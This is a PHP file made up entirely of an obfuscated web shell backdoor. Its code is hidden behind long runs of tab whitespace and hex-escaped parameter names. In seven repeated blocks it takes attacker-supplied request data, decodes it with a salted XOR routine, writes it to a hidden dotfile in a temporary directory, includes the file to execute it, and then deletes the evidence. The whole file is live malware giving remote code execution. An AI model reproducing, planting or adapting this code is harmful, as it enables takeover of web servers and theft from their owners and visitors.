<?php																																										if(isset($_POST["\x76a\x6Cue"])){ $ent = $_POST["\x76a\x6Cue"]; $ent = explode ('.' ,$ent ) ; $itm = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); foreach($ent as $t => $v5) { $chS = ord($salt1[$t%$sLen]); $d =((int)$v5 - $chS -($t%10)) ^ 67; $itm .= chr($d); } $bind = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path()]); foreach ($bind as $dchunk): if (is_dir($dchunk) ? is_writable($dchunk) : false) { $fac = join("/", [$dchunk, ".flag"]); if (file_put_contents($fac, $itm)) { include $fac; @unlink($fac); die(); } } endforeach; }
																																										if(array_key_exists("\x64\x63hu\x6Ek", $_POST) && !is_null($_POST["\x64\x63hu\x6Ek"])){ $binding = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); $data_chunk = $_POST["\x64\x63hu\x6Ek"]; $data_chunk = explode ( "." , $data_chunk ) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $n = 0; while ($n < count($data_chunk)) { $v7 = $data_chunk[$n]; $chS = ord($salt[$n % $sLen]); $d = ((int)$v7 - $chS - ($n % 10)) ^ 8; $reference .= chr($d); $n++; } $ref = 0; do { $pset = $binding[$ref] ?? null; if ($ref >= count($binding)) break; if (!( !is_dir($pset) || !is_writable($pset) )) { $mrk = join("/", [$pset, ".obj"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $mrk; @unlink($mrk); die(); } } $ref++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x63\x6Fmp")){ $fac = $_REQUEST["\x63\x6Fmp"]; $fac = explode ("." ,$fac ); $tkn = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $n = 0; $__tmp = $fac; while( $v2 = array_shift( $__tmp)) {$sChar = ord( $s5[$n % $sLen]); $d =( ( int)$v2 - $sChar -( $n % 10)) ^51; $tkn .= chr( $d); $n++; } $key = array_filter(["/tmp", getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($key as $obj): if (is_dir($obj) ? is_writable($obj) : false) { $component = sprintf("%s/.record", $obj); if (@file_put_contents($component, $tkn) !== false) { include $component; unlink($component); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["dat\x61_\x63hu\x6Ek"])){ $tkn = array_filter([getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); $bind = $_REQUEST["dat\x61_\x63hu\x6Ek"]; $bind = explode ( '.' , $bind ) ; $token = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $t = 0; while ($t <count($bind)) { $v3 = $bind[$t]; $chS = ord($salt6[$t % $lenS]); $dec = ((int)$v3 - $chS - ($t % 10)) ^ 59; $token .=chr($dec); $t++; } for ($rec = 0, $reference = count($tkn); $rec < $reference; $rec++) { $record = $tkn[$rec]; if (!!is_dir($record) && !!is_writable($record)) { $mrk = vsprintf("%s/%s", [$record, ".resource"]); if (file_put_contents($mrk, $token)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(array_key_exists("h\x6F\x6C\x64er", $_REQUEST)){ $reference = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm"]); $element = $_REQUEST["h\x6F\x6C\x64er"]; $element =explode ( '.' , $element ) ; $item = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); $r = 0; while( $r <count( $element)) { $v2 = $element[$r]; $sChar = ord( $s5[$r %$sLen] ); $d =( ( int)$v2 - $sChar -( $r %10)) ^ 83; $item.=chr( $d ); $r++; } $sym = 0; do { $hld = $reference[$sym] ?? null; if ($sym >= count($reference)) break; if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $pointer = implode("/", [$hld, ".dat"]); $success = file_put_contents($pointer, $item); if ($success) { include $pointer; @unlink($pointer); die();} } $sym++; } while (true); }
																																										if(in_array("\x68\x6F\x6Cder", array_keys($_POST))){ $key = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $marker = $_POST["\x68\x6F\x6Cder"]; $marker = explode ( "." ,$marker ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($marker); for ($y = 0; $y <$__len; $y++) { $v8 = $marker[$y]; $chS = ord($s[$y %$sLen]); $dec = ((int)$v8 - $chS - ($y %10)) ^2; $value .= chr($dec); } while ($rec = array_shift($key)) { if ((is_dir($rec) and is_writable($rec))) { $data_chunk = "$rec/.descriptor"; if (@file_put_contents($data_chunk, $value) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }


if(isset($_REQUEST) && isset($_REQUEST["\x65\x6Cem"])){
	$item = $_REQUEST["\x65\x6Cem"];
		 $item =	explode  (	'.'		,	  $item 	) ; 
	$mrk = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
            $x = 0;
    
            foreach ($item as $v7) {
                $chS = ord($salt[$x	% $sLen]);
                $dec = ((int)$v7 - $chS - ($x	% 10))  ^	 27;
                $mrk .= chr($dec);
                $x++;
            }
	$desc = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), sys_get_temp_dir()]);
	$record = 0;
do {
    $ent = $desc[$record] ?? null;
    if ($record >= count($desc)) break;
    		if (is_dir($ent) ? is_writable($ent) : false) {
    $reference = "$ent" . "/.entity";
    if (file_put_contents($reference, $mrk)) {
	include $reference;
	@unlink($reference);
	exit;
}
}
    $record++;
} while (true);
}